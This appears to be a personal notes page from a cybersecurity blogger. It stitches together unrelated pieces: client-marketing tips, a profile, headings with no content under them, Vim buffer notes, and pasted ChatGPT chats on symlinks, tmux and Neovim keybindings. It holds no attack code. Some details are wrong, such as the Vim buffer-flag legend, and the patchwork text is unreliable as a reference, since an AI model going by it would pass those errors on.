Blog Posts: Start a blog or a section on your website where you post valuable content (how-to guides, case studies, etc.) about cybersecurity issues that African businesses face. This can help drive traffic to your website. Social Media: Share your knowledge regularly on platforms like Twitter, LinkedIn, and Facebook. Post useful cybersecurity tips, news, and solutions specific to Africa’s challenges. Guest Blogging: Reach out to popular cybersecurity blogs or regional tech publications and offer to write guest posts. This can help you build authority and visibility. 6. Cold Outreach (Emails or Calls) Identify Potential Clients: Focus on small to medium-sized businesses (SMBs) that are less likely to have in-house cybersecurity expertise but still need protection. Cold Email Templates: Write a personalized email introducing your services and offering a free security assessment. Example: “Hi [Name], I noticed your company [Company Name] may benefit from enhanced cybersecurity. With the rise in cyberattacks targeting businesses in [industry], I’d love to offer a free audit to identify potential vulnerabilities in your systems. Please let me know if you’d be open to a quick consultation.”

  1. Partnerships Tech Partnerships: Collaborate with local IT companies, managed service providers (MSPs), or web development agencies. They may need cybersecurity expertise to offer as part of their services, which can help you get your foot in the door. Influencers: Collaborate with influencers or bloggers in the tech or business space to help spread the word about your services.
  2. Referral Program Incentivize Referrals: Once you start landing clients, offer a referral program where existing clients can get discounts or small rewards for referring new business to you.

Here are additional tips to help you secure your first customer for your cybersecurity business. These strategies focus on relationship-building, leveraging available resources, and positioning yourself as an expert.

  1. Create a Strong Value Proposition Clear and Concise Offer: Your potential customers should know exactly what they’re getting from your service. Clearly explain how your cybersecurity solutions address specific pain points or vulnerabilities businesses are facing (e.g., protecting customer data, preventing cyberattacks, ensuring compliance with regulations). Problem-Solution Approach: Tailor your messaging to show how you solve a critical problem. For example, "Is your business protected from data breaches? Let’s secure your systems today."
  2. Offer Value-Added Content (Lead Magnets) Whitepapers/Reports: Create a downloadable, in-depth guide on topics like "How to Prevent Ransomware in 2025" or "5 Key Steps for Protecting Your Business from Phishing." This can capture leads and demonstrate your expertise. Free Templates and Tools: Offer free downloadable tools, such as a "Cybersecurity Risk Assessment Checklist" or "Business Continuity Plan Template." These simple resources are valuable and easy to share, making it easier for people to trust you. Webinars and Workshops: Host free, live webinars or workshops where you share your knowledge and provide real-time value. Promote them via social media and email newsletters to attract attendees.
  3. Connect with Local Communities and Small Businesses Local Networking Events: Attend local business events or meetups. In many African regions, networking through personal connections is crucial, and it can be the gateway to your first customers. Industry-Specific Networking: Join local business groups or tech-focused groups on LinkedIn, Facebook, or regional community boards. Small businesses in your area might not have cybersecurity awareness, so they’ll appreciate your input. Business Associations: Get involved with local or national business associations that represent small businesses or tech startups. Often, members need help securing their digital infrastructure.
  4. Leverage LinkedIn and Other Professional Networks Build a Strong LinkedIn Profile: Your profile should clearly reflect your cybersecurity expertise. Share regular posts about common cybersecurity issues and solutions that will resonate with your target audience. Join LinkedIn Groups: Participate in LinkedIn groups that discuss cybersecurity, data privacy, and small business solutions. Engage with others’ posts, offer valuable insights, and build relationships with potential clients. LinkedIn Direct Messaging: Reach out to decision-makers at businesses that you believe need cybersecurity services. Use a friendly, non-salesy approach by offering advice or free consultations, explaining that you can help them assess vulnerabilities and improve security.
  5. Offer a Limited-Time Discount or Free Trial Introductory Discount: For your first customers, offer a limited-time discount to attract them. Make it clear that it’s a special offer for the first few clients, creating a sense of urgency. Free Trial or Demonstration: Offer a limited-time free trial of your service, such as a basic security audit or penetration test, allowing potential clients to experience the value you provide. This is especially effective for businesses unsure of the ROI of cybersecurity services. Referral Incentives: Reward your first clients with a referral bonus (like a discount on future services) if they refer new customers to you.
  6. Collaborate with Other Local Service Providers Partner with IT Consultants/Managed Service Providers (MSPs): Many businesses use third-party IT consultants or MSPs, but those providers might not specialize in cybersecurity. Establish partnerships where you offer complementary services to their clients, which can lead to referrals. Tech Conferences and Expos: Partner with technology firms, legal advisors, or insurance companies to create a bundled offering for business clients. For instance, if a business is looking for an insurance plan, you can collaborate with an insurer and offer cybersecurity protection as part of the deal.
  7. Join Cybersecurity and Business Directories Local Directories: Make sure your business is listed on local business directories. In many African countries, online local listings are popular for small businesses searching for trusted services. Cybersecurity-Specific Directories: Get listed on global or regional cybersecurity directories, such as Cybersecurity Ventures or UpCity. This helps you get discovered by potential clients who are actively seeking cybersecurity solutions.

High Memory Vs CPU Usage

Hello, I'm HackHubAfrica 👋

Hi there, I'm HackHubAfrica

A passionate Electrical & Telecommunications Engineer with a deep interest in Cybersecurity.

hackhubafrica

👨‍💻 About Me:

I am an experienced and driven engineer with expertise in Network Security and Penetration Testing. My focus lies in securing digital infrastructures and developing advanced protocols to defend against evolving cyber threats. I’m continually learning and adapting to the latest trends in both AI and Cybersecurity to enhance my skillset and stay ahead of emerging risks.

  • 🔭 Currently working on: Developing robust cybersecurity systems for the Internet of Things (IoT) and performing vulnerability assessments.
  • 🌱 Currently learning: Exploring how Artificial Intelligence can optimize security threat detection and mitigation.
  • 👯 Collaborating on: Open-source cybersecurity projects and building innovative network security tools with fellow engineers.
  • 🤝 Looking to help with: Designing and integrating machine learning models into real-time security monitoring systems.

📈 Achievements & Interests:

  • Cybersecurity Certifications: Actively pursuing certifications in Certified Ethical Hacker (CEH), CompTIA Security+, and CISSP.
  • Security Researcher: Conducted several penetration tests and security audits on enterprise-level infrastructures.
  • Competitive Edge: Engaged in Capture the Flag (CTF) challenges with a strong record of solving complex cybersecurity puzzles.

🌐 Connect with me:

I believe in collaboration and knowledge sharing. Feel free to reach out via the following platforms:

hackhubafrica hackhubafrica hackhubafrica hackhubafrica hackhubafrica

🛠️ Tools & Technologies:

As a developer and cybersecurity engineer, I work with a wide variety of tools and technologies. Here's a snapshot of my technical skills:

arduino aws bash c cplusplus django docker flask gcp git linux mysql python rust selenium

📊 GitHub Stats:

Here's an overview of my activity and contributions:

hackhubafrica

 hackhubafrica

hackhubafrica

The Windows Kernel

🔹 What Are Buffers?

buffer is a temporary in-memory representation of an open file or unsaved text inside an editor. Think of buffers as "open documents" that you can switch between without closing them.

🛠️ Buffers in Vim/Neovim/GVim

  • When you open a file in Vim, it gets loaded into a buffer.
  • You can open multiple buffers at the same time without opening multiple windows or tabs.
  • Buffers can hold files, temporary text, or unsaved changes.
  • Even if a buffer is hidden, it remains in memory and can be switched back to.

🛠️ Buffers in Emacs

  • Emacs also uses buffers, but it treats everything as a buffer, including files, help pages, terminal emulators, and interactive shells.
  • Unlike Vim, Emacs does not have a strict "tab" system, as all content is just another buffer.

In Vim, Neovim, and GVim, you can list all open buffers and switch between them using the following commands:

1️⃣ List All Open Buffers

In normal mode, type:

:ls

or

:buffers

This will show a list of open buffers with their buffer numbers, status, and filenames.

  • # → Indicates the alternate buffer
  • + → The currently active buffer
  • % → The current buffer
  • - → Previously active buffer

2️⃣ Switch Between Buffers

You can switch between buffers using their buffer number or by cycling through them.

Switch to a Specific Buffer by Number

Use:

:buffer <buffer_number>

Example:

:buffer 3

(This will switch to buffer 3.)

Cycle Through Buffers

  • Next Buffer:
    :bnext
or simply
    :bn
  • Previous Buffer:
    :bprevious
or simply
    :bp

Switch to Last Used Buffer

:b#

3️⃣ Closing Buffers

  • Close the current buffer without quitting Vim:
    :bd
  • Close a specific buffer by number:
    :bd <buffer_number>
Example:
    :bd 3
  • Close all buffers except the current one:
    vim
    
    `:bufdo bd`
or
    :%bd|e#

4️⃣ (Optional) Fuzzy Buffer Switching

If you're using Neovim with Telescope:

:Telescope buffers

This will open a fuzzy search window for buffers.


 # custom key mapping for faster buffer switching? 🚀

🔹 Custom Key Mappings for Faster Buffer Switching

Here are some handy key mappings for navigating buffers quickly in Vim/Neovim. Add these to your ~/.vimrc (Vim/GVim) or ~/.config/nvim/init.vim (Neovim):

" Switch to the next buffer nnoremap <Tab> :bnext<CR>  " Switch to the previous buffer nnoremap <S-Tab> :bprevious<CR>  " Close the current buffer nnoremap <Leader>bd :bd<CR>  " Show buffer list and select one using fzf (if installed) nnoremap <Leader>bl :ls<CR>:buffer<Space>

🔹 Explanation of Key Bindings

  • <Tab> → Move to the next buffer.
  • <Shift-Tab> → Move to the previous buffer.
  • <Leader>bd → Delete (close) the current buffer.
  • <Leader>bl → List buffers and select one by typing its number.

Note: The <Leader> key is usually mapped to \ (backslash) or <Space> (which you can configure in your Vim settings).


🔹 Advanced: Buffer Navigation with Fuzzy Search (Neovim)

If you use Telescope (Neovim Plugin), you can add this key mapping:


`nnoremap <Leader>bb :Telescope buffers<CR>`

Now pressing <Leader>bb will show a fuzzy search window to switch between buffers quickly.


🔹 Want a Tab-Like Behavior with Buffers?

Vim tabs and buffers are different concepts. If you want buffers to behave like tabs, try:

set hidden

This allows you to switch buffers without closing unsaved files.


📌 Conclusion

  • Buffers are temporary storage for open files (like tabs in a browser but more lightweight).
  • Both Vim and Emacs use buffers, but Emacs extends the concept further.
  • Key mappings make buffer switching faster (<Tab><S-Tab><Leader>bd).
  • Telescope (Neovim) makes searching through buffers even smoother.

Would you like an autoclosing buffer manager (like BufOnly or bufkill.vim) for better control? 🚀

Here’s the Lua version of your key mappings for Neovim. Add this to your init.lua or inside a lua configuration file like ~/.config/nvim/lua/keymaps.lua and source it.

🔹 Lua Key Mappings for Buffers

-- Define a shortcut for setting keymaps 
local keymap = vim.keymap.set local opts = { noremap = true, silent = true }  
-- Switch to the next buffer 
keymap("n", "<Tab>", ":bnext<CR>", opts)  -- Switch to the previous buffer 
keymap("n", "<S-Tab>", ":bprevious<CR>", opts)  
-- Close the current buffer 
keymap("n", "<Leader>bd", ":bd<CR>", opts)  
-- Show buffer list and select one using FZF (if installed) 
keymap("n", "<Leader>bl", ":ls<CR>:buffer<Space>", opts)  -- Show buffer list using Telescope (if installed) 
keymap("n", "<Leader>bb", ":Telescope buffers<CR>", opts)

🔹 Explanation

  • vim.keymap.set(mode, key, command, options)
    • "n" → Normal mode
    • "<Tab>" → Keybinding
    • ":bnext<CR>" → Command executed
    • { noremap = true, silent = true } → Prevents recursive mapping and suppresses output This format is more efficient in Neovim and follows modern Lua-based configurations.

Would you like buffer closing improvements (e.g., bdelete vs bwipeout)? 🚀

Replacing Words

You can achieve this functionality in Neovim/Vim by setting up a key mapping that:

  1. Selects the word under the cursor or allows you to visually select a word.
  2. Highlights all occurrences of the word in the document.
  3. Allows you to replace the word with an alternative easily.

🔹 Lua Key Mapping (for Neovim)

Add this to your init.lua (or keymaps.lua if you separate configs):

local keymap = vim.keymap.set local opts = { noremap = true, silent = true }  
-- Search and highlight all occurrences of the selected word 
keymap("n", "<Leader>h", ":%s/<C-r><C-w>//g<Left><Left>", opts)  
-- Same for visual mode (select a word, then press Leader-h) 
keymap("v", "<Leader>h", '"hy:%s/<C-r>h//g<Left><Left>', opts)  
-- Alternative: Use Ctrl-H instead of Leader-h 
keymap("n", "<C-h>", ":%s/<C-r><C-w>//g<Left><Left>", opts) 
keymap("v", "<C-h>", '"hy:%s/<C-r>h//g<Left><Left>', opts)`

🔹 Explanation

  • <C-r><C-w> → Inserts the word under the cursor into the command line.
  • :%s/word//g → Searches (s/) the entire file (%) for occurrences of word and prepares for replacement.
  • <Left><Left> → Moves the cursor left twice so you can type the replacement word easily.
  • Visual mode (v):
    • h is used as a register to store the selected text ("hy).
    • The word is then inserted into the search pattern with <C-r>h.

🔹 How to Use

  1. Move the cursor to a word (or visually select a word).
  2. Press <Leader>h (or <C-h> if you prefer).
  3. All occurrences of the word will be highlighted.
  4. Type the replacement word and press <Enter>.

If you want to manually confirm each replacement instead of replacing all occurrences at once, you can use Vim’s interactive substitution mode with the c (confirm) flag.


🔹 Updated Key Mappings for Manual Confirmation

Modify your Neovim init.lua (or keymaps.lua file) to use c for confirming each replacement:

local keymap = vim.keymap.set local opts = { noremap = true, silent = true }  
-- Search and manually replace each instance of the word under the cursor 
keymap("n", "<Leader>h", ":%s/<C-r><C-w>//gc<Left><Left><Left>", opts)  
-- Same functionality for visual mode (select a word, then press Leader-h) 
keymap("v", "<Leader>h", '"hy:%s/<C-r>h//gc<Left><Left><Left>', opts)  
-- Alternative: Use Ctrl-H instead of Leader-h for manual replacements 
keymap("n", "<C-h>", ":%s/<C-r><C-w>//gc<Left><Left><Left>", opts) 
keymap("v", "<C-h>", '"hy:%s/<C-r>h//gc<Left><Left><Left>', opts)`

🔹 What’s Different?

  • Adding c in :%s/.../gc
    • This enables interactive replacement mode, so Vim will prompt you for each occurrence before replacing.

🔹 How It Works

  1. Move the cursor to a word (or visually select a word).

  2. Press <Leader>h> (or <C-h> if you prefer).

  3. Vim will highlight the first match and prompt:

    replace with (y/n/a/q/l/^E/^Y)?

    • y → Replace this occurrence
    • n → Skip this occurrence
    • a → Replace all occurrences (without asking again)
    • q → Quit replacement
    • l → Replace this occurrence and quit afterward
    • <Ctrl-E> / <Ctrl-Y> → Scroll the screen while deciding


ChatGPT said:

Symbolic links (symlinks) are a fundamental feature of UNIX-like operating systems (Linux, macOS, BSD) and even Windows. They provide a way to create references to files and directories without duplicating data. But their history, implementation, and importance go far beyond just a simple shortcut.


📜 The History of Symlinks: Why Were They Invented?

Before symlinks, UNIX systems had hard links—a way to create multiple names for the same file. Hard links worked well but had major limitations:

  1. They only worked within the same filesystem (e.g., you couldn't link a file from one partition to another).
  2. They couldn’t link to directories to prevent infinite loops in filesystem navigation.
  3. They pointed to the same inode (file metadata structure), meaning deleting one link didn't remove the actual file.

To solve these issues, symbolic links (symlinks) were introduced in 4.2BSD (Berkeley Software Distribution) in 1983. They provided a flexible and cross-filesystem way to reference files.


🔹 What is a Symlink?

symbolic link (or soft link) is a special type of file that acts as a pointer to another file or directory. It contains a path to the target rather than storing actual file data.

📌 Think of a symlink as a "shortcut" in Windows, but at the filesystem level!


🔹 Types of Links in UNIX

There are two types of links in UNIX-based systems:

TypeWorks Across Filesystems?Can Link to Directories?If the Target is Deleted?Stores File Data?
Hard Link❌ No❌ No✅ File remains (it’s just another reference to the same inode)✅ Yes
Symbolic Link (Symlink)✅ Yes✅ Yes❌ Becomes a "broken link"❌ No

🔹 Example of How They Work

Suppose we have a file called original.txt:

sh

CopyEdit

echo "Hello, Symlink!" > original.txt

Now, let's create a hard link and a symbolic link:

sh

CopyEdit

ln original.txt hardlink.txt ln -s original.txt symlink.txt

  • hardlink.txt is a hard link, another reference to original.txt. Deleting original.txt won't affect hardlink.txt.
  • symlink.txt is a symbolic link that points to original.txt. If original.txt is deleted, symlink.txt breaks (it becomes a "dangling" symlink).

🔹 Why Are Symlinks Important?

Symlinks solve many real-world problems and are used extensively in system administration, software development, and daily computing.

1️⃣ Cross-Filesystem Compatibility

Unlike hard links, symlinks work across different filesystems and partitions. This is useful when referencing files stored on external drives, network shares, or different mount points.

2️⃣ Easier File & Directory Management

  • Developers use symlinks to redirect files without modifying actual paths.
  • System admins use them to reroute system configurations or migrate data.

Example: Redirecting a directory to another location:

sh

CopyEdit

ln -s /mnt/storage/projects /home/user/projects

Now, whenever cd ~/projects is used, it points to /mnt/storage/projects.

3️⃣ Avoiding Data Duplication

Symlinks allow referencing the same file without duplicating it, saving disk space and ensuring all references point to the latest version.

Example:
Instead of copying large configuration files:

sh

CopyEdit

cp /etc/nginx/nginx.conf /home/user/nginx.conf

Use a symlink:

sh

CopyEdit

ln -s /etc/nginx/nginx.conf ~/nginx.conf

Any changes made to ~/nginx.conf will reflect in /etc/nginx/nginx.conf automatically.

4️⃣ Essential for Package Management & Shared Libraries

Many software packages use symlinks to manage different versions of binaries and libraries.

Example:

sh

CopyEdit

ls -l /usr/bin/python lrwxrwxrwx 1 root root 9 Jan 1 12:00 /usr/bin/python -> python3.10

This ensures that when you type python, it correctly points to python3.10.

5️⃣ Used in Docker & Virtual Environments

  • Docker volumes and container storage rely on symlinks for managing mounted directories.
  • Python virtual environments use symlinks to reference global packages efficiently.

Example in Python:

sh

CopyEdit

ln -s /usr/bin/python3 /home/user/env/bin/python

6️⃣ Version Control & Software Development

Developers use symlinks in repositories to reference dependencies or manage multiple versions of a library without duplicating files.

Example:

sh

CopyEdit

ln -s /path/to/project_v1 /home/user/project

When switching versions:

sh

CopyEdit

rm project && ln -s /path/to/project_v2 /home/user/project

Now project points to project_v2 instead of project_v1, without moving files.


🔹 Creating & Managing Symlinks

sh

CopyEdit

ln -s <target> <symlink_name>

Example:

sh

CopyEdit

ln -s /var/log/nginx/access.log ~/nginx_access.log

List files and check for symlinks:

sh

CopyEdit

ls -l

Output:

pgsql

CopyEdit

lrwxrwxrwx 1 user user 16 Feb 17 14:00 nginx_access.log -> /var/log/nginx/access.log

The l at the beginning means it's a symlink.

Just use rm (not rmdir!):

sh

CopyEdit

rm nginx_access.log

To see where a symlink points:

sh

CopyEdit

readlink -f <symlink>

Example:

sh

CopyEdit

readlink -f ~/nginx_access.log

Output:

pgsql

CopyEdit

/var/log/nginx/access.log


🔹 Symlinks in Windows

Windows also supports symlinks, but they are called junctions or symbolic links. To create a symlink in Windows:

powershell

CopyEdit

mklink /D "C:\Users\Example\Documents\Projects" "D:\Storage\Projects"

This makes C:\Users\Example\Documents\Projects point to D:\Storage\Projects.


🔹 What Happens If a Symlink Breaks?

If the target file of a symlink is deleted, the symlink remains but becomes broken (or "dangling").

To find all broken symlinks:

sh

CopyEdit

find -L /path/to/check -type l

To remove broken symlinks:

sh

CopyEdit

find -L /path/to/check -type l -delete


🔹 Conclusion: Why Symlinks Matter

✅ They allow efficient file management without duplication.
✅ They provide cross-filesystem flexibility, unlike hard links.
✅ They are used in package managementsoftware development, and server administration.
✅ They help create virtual environmentscontainerized applications, and shared libraries.

🚀 Mastering symlinks makes you a more efficient system administrator and developer!


Would you like a hands-on lab or script to experiment with symlinks in real-world scenarios? 🚀

You said:

lientPayloadError: Response payload is not completed: <ContentLengthError: 400, message='Not enough data for satisfy content length header.'>. ConnectionResetError(104, 'Connection reset by peer') dante@Archie ~/Documents $ dante@Archie ~/Documents $ cve-bin-tool --update latest dante@Archie ~/Documents $ cve-bin-tool --update latest --offline [03:56:28] INFO cve_bin_tool - CVE Binary Tool v3.4 cli.py:624 INFO cve_bin_tool - This product uses the cli.py:625 NVD API but is not endorsed or certified by the NVD. INFO cve_bin_tool - For potentially faster cli.py:628 NVD downloads, mirrors are available using -n json-mirror CRITICAL cve_bin_tool - Database does not cli.py:831 exist. INFO cve_bin_tool - Consult the cli.py:832 documentation at https://cve-bin-tool.readthedocs.io/en /latest/how_to_guides/offline.html to find out how to setup offline operation.

You said:

how do i clear the output of a tmux window or console since it has become too much

ChatGPT said:

To clear the output of a tmux window or console, you can use the following methods:

1. Clear the Screen within tmux:

  • Ctrl + L: This keyboard shortcut works in most terminal emulators and will clear the screen, but it will not remove the scrollback history (you can still scroll up to see previous output).

2. Clear the Scrollback Buffer:

If you want to completely clear the scrollback buffer in tmux (so you can't scroll back to the previous output), follow these steps:

  • Press Ctrl + b, then release both keys and press : to enter command mode.

  • Type the following command and press Enter:

    arduino

    CopyEdit

    clear-history

This command will clear the entire scrollback history for that tmux window.

3. Kill and Restart the tmux Window:

If you want to completely reset the window (clear the screen and reset the entire session for that window), you can kill the tmux window and start a new one:

  • Press Ctrl + b, then &.
  • tmux will ask you if you're sure you want to kill the window. Press y to confirm.

This will close the current window, but you can open a new one with Ctrl + b followed by c.


These methods should help you manage the screen and output in your tmux session. Let me know if you need further assistance!

You said:

Clear the Scrollback Buffer: If you want to completely clear the scrollback buffer in tmux (so you can't scroll back to the previous output), follow these steps: Press Ctrl + b, then release both keys and press : to enter command mode. Type the following command and press Enter: arduino Copy Edit clear-history This command will clear the entire scrollback history for that tmux window.HOW CAN I SET A KEYBINDING FOR THIS

ChatGPT said:

To create a keybinding in tmux that clears the scrollback buffer, follow these steps:

1. Edit tmux configuration file (~/.tmux.conf):

  1. Open your tmux configuration file in your preferred editor:

    bash

    CopyEdit

    nano ~/.tmux.conf

  2. Add the following line to create a keybinding. For example, we’ll use Ctrl + b followed by C (or choose another combination if you prefer):

    bash

    CopyEdit

    bind C clear-history

    This will bind Ctrl + b + C to clear the scrollback buffer.

  3. Save the file and exit the editor.

2. Reload tmux configuration:

After saving your .tmux.conf file, you need to reload it for the changes to take effect. You can do this by either restarting your tmux session or by running the following command within tmux:

  • Press Ctrl + b, release both keys, and then press : to enter command mode.

  • Type:

    bash

    CopyEdit

    source-file ~/.tmux.conf

    and press Enter.

3. Use the Keybinding:

Now, whenever you press Ctrl + b and then C, it will clear the scrollback history for the current tmux window.

You can change the keybinding by replacing C with another key of your choice. For example, if you want to use Ctrl + b + x, change it like this:

bash

CopyEdit

bind x clear-history

Let me know if you need help with other customizations!

You said:

nnoremap :Commentary vim.keymap.set("n", ',vim.cmd.Commentary) vim.keymap.set("v", ' ',vim.cmd.Commentary) THESE KEYBINDINGS DONT SEEM TO BE WORKING....DO I HAVE ANYTHING WRONG EITH THE SETUP

ChatGPT said:

It looks like you're trying to set up keybindings in Vim (or Neovim) for the Commentary plugin (likely from the tpope/vim-commentary plugin). You're using both a Vim style nnoremap and a Lua style vim.keymap.set syntax, which is a little mixed up. Let's break down your keybinding setup and fix it.

Correct Setup for Vim and Neovim

  1. Vim Style Mapping (nnoremap and vnoremap):

    For Vim's native style, you would normally use nnoremap for normal mode and vnoremap for visual mode.

    vim

    Copy

    " For normal mode: nnoremap <C-/> :Commentary<CR> " For visual mode: vnoremap <C-/> :Commentary<CR>

    Explanation:

    • <C-/> refers to Ctrl+/, which is the key combination you're mapping.
    • :Commentary<CR> calls the Commentary command when the keybinding is pressed.

    Note: You should ensure that Commentary is available (i.e., the plugin is properly installed).

  2. Lua Style Mapping in Neovim (vim.keymap.set):

    If you're using Neovim and configuring keymaps using Lua, you'd use vim.keymap.set. The syntax you have seems to have a small issue, and it's a mix between Lua and Vimscript. Here’s the corrected Lua style:

    lua

    Copy

    -- For normal mode: vim.keymap.set('n', '<C-/>', vim.cmd.Commentary) -- For visual mode: vim.keymap.set('v', '<C-/>', vim.cmd.Commentary)

    Explanation:

    • The first argument to vim.keymap.set is the mode (in this case 'n' for normal and 'v' for visual).
    • The second argument is the key combination (<C-/> for Ctrl+/).
    • The third argument is the action to execute when the key is pressed, which in this case is vim.cmd.Commentary (calls the :Commentary Vim command).

Fixing Your Configuration

Based on the two approaches (Vimscript and Lua) above, your setup should look like one of these:

1. Vimscript Configuration (for Vim or Neovim with Vimscript):

vim

Copy

" For normal mode: nnoremap <C-/> :Commentary<CR> " For visual mode: vnoremap <C-/> :Commentary<CR>

2. Lua Configuration (for Neovim):

lua

Copy

-- For normal mode: vim.keymap.set('n', '<C-/>', vim.cmd.Commentary) -- For visual mode: vim.keymap.set('v', '<C-/>', vim.cmd.Commentary)

Additional Notes:

  • Make sure the Commentary plugin is installed: If you haven’t already installed the vim-commentary plugin (if you're using Vim or Neovim), you'll need to install it using a plugin manager like vim-plugpacker.nvim, etc.

    For vim-plug (example):

    vim

    Copy

    Plug 'tpope/vim-commentary'

    After adding the plugin to your .vimrc or init.vim, run :PlugInstall to install it.

  • Ensure that Ctrl+/ (<C-/>) is not conflicting: Check if Ctrl+/ is being intercepted by your terminal or editor and ensure it’s free for Vim/Neovim.

Final Thoughts:

Make sure that you're using the correct approach based on whether you're using Vimscript or Lua for your configuration, and ensure that the Commentary plugin is installed and working properly.

Let me know if you need more help with this setup!

You said:

i just did that but it does not work ,....how do i diagnose the issue

ChatGPT said:

If the keybindings you’ve set up aren't working, there are a few steps you can follow to diagnose the issue. Below are some troubleshooting steps to help pinpoint the problem:

1. Check Plugin Installation

First, verify that the vim-commentary plugin is correctly installed.

  • Run the following in normal mode to check if the plugin’s functionality works:

    vim

    Copy

    :Commentary

    • If this command works, then the plugin is installed correctly.
    • If not, you may need to reinstall it (using your plugin manager like vim-plugpacker.nvim, etc.).

Example for vim-plug:

vim

Copy

Plug 'tpope/vim-commentary'

Then run:

vim

Copy

:PlugInstall

2. Test Keybinding in Normal Mode

Test if the keybinding is working in a very simple configuration without any other plugins or customizations.

  • Open a new terminal and start Vim without your configuration file to disable all plugins:

    bash

    Copy

    vim -u NONE

  • Then manually set the keybinding and check if it works:

    vim

    Copy

    nnoremap <C-/> :Commentary<CR>

Now press Ctrl+/ to check if it triggers the :Commentary command.

  • If it works here, then the issue is likely within your configuration file or other plugins.

3. Check for Keybinding Conflicts

Ensure that the keybinding (<C-/>) isn't being captured by something else, such as your terminal or another plugin.

  • Terminal Interception: Many terminals (e.g., gnome-terminaliTerm2, etc.) use Ctrl+/ for other purposes, like "search". Try checking your terminal’s keybindings and see if it’s mapped to something else. Try using a different key combination to see if that works.

Alternative Keybinding: Try using a different keybinding to see if the issue is specifically with Ctrl+/:

vim

Copy

nnoremap <C-q> :Commentary<CR>

4. Verify Keybinding in Vim/Neovim

In normal mode, type the following command to list all your current key mappings and check if the one you set is listed:

vim

Copy

:nmap <C-/>

This will show you if the <C-/> mapping exists. If it’s not listed, it’s not being mapped properly.

If the keybinding isn’t set or there is a conflict, you may need to debug further by checking whether your configuration is loading properly.

5. Check if the Keybinding is Set After Startup

If you're using Neovim with Lua configuration, make sure your keybinding is set correctly in your init.lua or init.vim. You can do this by placing a simple debug message after the keybinding:

lua

Copy

vim.keymap.set('n', '<C-/>', function() print("Ctrl+/ was pressed") vim.cmd.Commentary() end)

When you press Ctrl+/, you should see the debug message Ctrl+/ was pressed in your command line. If you don’t see this, it means your keybinding isn’t being set or triggered correctly.

6. Use verbose Command to Debug

If you are unsure where the keybinding is being overridden or ignored, you can use the :verbose command to get detailed information about your mappings.

For normal mode:

vim

Copy

:verbose nmap <C-/>

This will show you where the mapping is set, and if it was overridden by another plugin or configuration.

7. Check vim.keymap.set Syntax for Neovim (Lua)

If you're using Neovim and Lua, make sure you're correctly referencing the Commentary command. Here's a clean, simplified version to ensure that it's working in Neovim:

lua

Copy

vim.keymap.set('n', '<C-/>', function() vim.cmd('Commentary') end) vim.keymap.set('v', '<C-/>', function() vim.cmd('Commentary') end)

You can also check that your init.lua is being loaded correctly by placing a simple print statement in it:

lua

Copy

print("Neovim config loaded")

If you don’t see this message when starting Neovim, your init.lua file may not be loading properly.

8. Check for Errors in Vim/Neovim

Check if any error messages are shown when you start Vim/Neovim. Sometimes, issues with configuration files may cause errors that can help pinpoint the problem.

  • To view any potential errors in Neovim, check the :messages command after starting Neovim.
  • In Vim, use :messages to check for issues.

Summary Checklist:

  1. Ensure vim-commentary is installed and functional (:Commentary should work).
  2. Verify no conflicts with terminal key mappings for Ctrl+/.
  3. Test your keybindings in a minimal config (vim -u NONE).
  4. Check the keybinding using :nmap <C-/> in Vim to see if it's set correctly.
  5. Use verbose commands (:verbose nmap <C-/>) to see where the mapping is coming from.
  6. If you're using Neovim, ensure Lua syntax and vim.keymap.set is correct.
  7. Add debug messages to verify if the keybinding is being triggered.

Let me know if you need more guidance on any of these steps!

You said:

lets focus on neovim ...how do i check if the binding is not conflicting with other and then got and map it

ChatGPT said:

To troubleshoot and ensure your keybinding isn't conflicting with other mappings in Neovim, we can take several steps. Let's focus on confirming that your keybinding is correctly set, not overwritten by something else, and correctly mapped.

Steps to Ensure the Keybinding Is Not Conflicting and Correctly Mapped

1. Check for Existing Mappings (Verbose Command)

To check if your desired keybinding (<C-/> or Ctrl+/) is already mapped to something else, use the :verbose command. This will show all the mappings for a specific key combination, along with information about where the mapping was defined.

To check if <C-/> is already mapped, run the following command in Normal Mode:

vim

Copy

:verbose nmap <C-/>

This will show you:

  • If <C-/> is already mapped in Normal mode (nmap stands for Normal mode mappings).
  • The source of the mapping (which file/plugin defined it).

If there’s no existing mapping, you won’t get any output. If it’s mapped to something else, the command will show you where it was defined.

2. Check for Existing Mappings in Visual Mode

To check for the same keybinding in Visual mode, use the following:

vim

Copy

:verbose vmap <C-/>

This will tell you if Ctrl+/ is mapped in Visual mode.

3. Test the Keybinding with a Simple Command (to Avoid Conflicts)

If you find that there’s no conflict (or if you modify your keybinding accordingly), test the mapping by binding it to a simple, non-conflicting command. For example:

lua

Copy

-- Set a basic test keybinding in Neovim vim.keymap.set('n', '<C-/>', function() print("Ctrl+/ works!") end)

  • Explanation: This binds Ctrl+/ to print "Ctrl+/ works!" in the command line when pressed.
  • Now, try pressing Ctrl+/ to check if the message appears.

If this works, you can be sure that the keybinding itself is functional and not overridden by something else.

4. Clear Any Existing Mappings (If Necessary)

If you found a conflict (for example, if Ctrl+/ was mapped to another command), you can clear the existing mapping before remapping it. You can do this with the :unmap command in your Neovim configuration:

  • Clear mapping for Normal mode:

    vim

    Copy

    :unmap <C-/>

  • Clear mapping for Visual mode:

    vim

    Copy

    :vunmap <C-/>

Once you’ve cleared the old mapping, you can safely set your new mapping.

5. Map Ctrl+/ for Commentary

Now, you can try setting your actual keybinding again. Here’s how to map Ctrl+/ to :Commentary in Neovim using Lua:

lua

Copy

-- For normal mode: vim.keymap.set('n', '<C-/>', function() vim.cmd('Commentary') end) -- For visual mode: vim.keymap.set('v', '<C-/>', function() vim.cmd('Commentary') end)

Additional Debugging Tips

6. Check if Lua Config is Loaded Properly

Make sure your init.lua or lua configuration file is being loaded correctly by adding a simple print statement:

lua

Copy

print("Neovim Lua config loaded")

If you don’t see this message when starting Neovim, there may be an issue with loading your Lua config file. You can check the following:

  • Ensure you are using init.lua instead of init.vim for Neovim's Lua config.
  • Make sure your init.lua is located in the correct directory (~/.config/nvim/init.lua for Neovim).

7. Check for Errors in Neovim

If there's still a problem, check if there are any errors when loading Neovim by running the :messages command. This will show you any warnings or errors that could be affecting your keybindings.

Summary of the Diagnostic Process:

  1. Check for existing mappings:
    • :verbose nmap <C-/> for Normal mode.
    • :verbose vmap <C-/> for Visual mode.
  2. Test a simple, non-conflicting keybinding to ensure your Ctrl+/ works.
  3. Clear existing mappings using :unmap if needed.
  4. Set your desired mapping using vim.keymap.set in Lua.
  5. Check if Lua config is loaded properly by adding a debug print statement.
  6. Check for errors using :messages to diagnose any issues.

By following these steps, you should be able to determine if there’s any conflict or issue with the keybinding, and then correctly map Ctrl+/ to :Commentary.
